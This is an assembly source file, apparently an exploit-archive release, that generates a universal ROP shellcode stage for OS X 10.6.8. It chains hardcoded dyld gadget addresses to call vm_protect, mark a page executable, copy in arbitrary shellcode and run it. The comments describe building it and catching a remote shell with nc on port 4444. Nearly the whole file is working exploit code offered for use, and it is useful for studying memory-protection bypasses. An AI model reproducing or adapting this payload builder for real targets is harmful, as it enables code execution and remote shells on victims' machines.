; universal OSX dyld ROP shellcode ; tested on OS X 10.6.8 ; ; if you don't want to compile, copy stage0 code from precompiled.txt ; and append your normal shellcode to it. ; ; usage: ; - put your 'normal' shellcode in x64_shellcode.asm ; - make ; - ./sc ; ; if you want to test: ; - uncomment lea rsp, [rel rop_stage0] / ret ; - make ; - nc -l 4444 ; - ./sc ; - you should get a shell over nc ; ; see my blog, if you want to know how this works: ; http://gdtr.wordpress.com ; ; greets to Jacob Hammack, for his reverse tcp shellcode (hammackj.com). ; ; pa_kt ; twitter.com/pa_kt extern _printf global _main ;-------------------------------------------------- ;- DATA ;-------------------------------------------------- section .data rw_area equ 0x00007FFF5FC50000 rwx_area equ rw_area+0x1000 vm_prot equ 0x00007FFF5FC0D356 fake_stack equ rw_area+0x2000 fake_frame equ fake_stack+0x100 r12_zero equ rw_area-0x1000 rax_off equ rw_area-8 rbx_off equ rw_area+8-8 rcx_off equ rw_area+0x10-8 rdx_off equ rw_area+0x18-8 rsi_off equ rw_area+0x28-8 rbp_off equ rw_area+0x30-8 rsp_off equ rw_area+0x38-8 r8_off equ rw_area+0x40-8 r12_off equ rw_area+0x60-8 pop_rdi equ 0x00007FFF5FC24CDC pop_rbx equ 0x00007FFF5FC23373 store_reg equ 0x00007FFF5FC24CE1 set_regs equ 0x00007FFF5FC24CA1 c_rwx equ 7 c_size equ 0x1000 c_addr equ rwx_area c_set_max equ 0 dbg_ret equ 0x00007FFF5FC24C4B ; copy shellcode to RWX area ; size = 0x1000 stub: lea rsi, [r15+saved_rsp_off+copy_stub_size+rop_post_size] xor rcx, rcx inc rcx shl rcx, 12 ;rcx = 0x1000 lea rdi, [rel normal_shellcode] rep movsb ;int 3 normal_shellcode: stub_size equ $-stub ; order is important rop_pre dq pop_rdi, rcx_off, pop_rbx, c_set_max, store_reg, dq pop_rdi, rdx_off, pop_rbx, c_size, store_reg, dq pop_rdi, rsi_off, pop_rbx, c_addr, store_reg, dq pop_rdi, rbp_off, pop_rbx, fake_frame, store_reg, dq pop_rdi, rsp_off, pop_rbx, fake_stack, store_reg, dq pop_rdi, r8_off, pop_rbx, c_rwx, store_reg, dq pop_rdi, r12_off, pop_rbx, r12_zero, store_reg, ; set fake stack dq pop_rdi, fake_stack+8-8, pop_rbx, vm_prot, store_reg, ; set fake frame (return address -> rwx page) dq pop_rdi, fake_frame-8-0x38, store_reg, saved_rsp: dq pop_rdi, fake_frame+8-8, pop_rbx, rwx_area, store_reg, rop_pre_size equ $-rop_pre saved_rsp_off equ $-saved_rsp-8 rop_post dq dbg_ret ; set all regs and jump to vm_prot dq pop_rdi, rw_area, set_regs ; marker ; dq 0x1111111111111111 rop_post_size equ $-rop_post x64_shellcode: incbin "x64_shellcode" x64_shellcode_size equ $-x64_shellcode hello db "test", 0 fmt db "\x%02x",0 section .bss rop_stage0 resq 100 copy_stub resq ((stub_size+7)/8)*5 copy_stub_size equ $-copy_stub ;-------------------------------------------------- ;- CODE ;-------------------------------------------------- section .text prep_stub: mov rcx, (stub_size+7)/8 mov rsi, stub mov rdi, copy_stub mov rbx, rwx_area-8 go: mov rax, pop_rdi stosq mov rax, rbx stosq mov rax, pop_rbx stosq movsq mov rax, store_reg stosq add rbx, 8 loop go ret make_stage0: mov rsi, rop_pre mov rdi, rop_stage0 mov rcx, rop_pre_size rep movsb mov rsi, copy_stub mov rcx, copy_stub_size rep movsb mov rsi, rop_post mov rcx, rop_post_size rep movsb mov rsi, x64_shellcode mov rcx, x64_shellcode_size rep movsb ret print_it: push rbp mov rbp, rsp mov rcx, rop_pre_size + copy_stub_size + rop_post_size + x64_shellcode_size lea rsi, [rel rop_stage0] xor rax, rax one_char: lodsb push rsi push rcx mov rsi, rax mov rdi, qword fmt xor rax, rax call _printf pop rcx pop rsi loop one_char leave ret _main: push qword rbp mov rbp, rsp call prep_stub call make_stage0 call print_it ;lea rsp, [rel rop_stage0] ;ret leave ret ; see http://t.co/nIrRbn5 for a detailed explanation ; full package mirror: http://www.exploit-db.com/sploits/osx.rop.24072011.tgz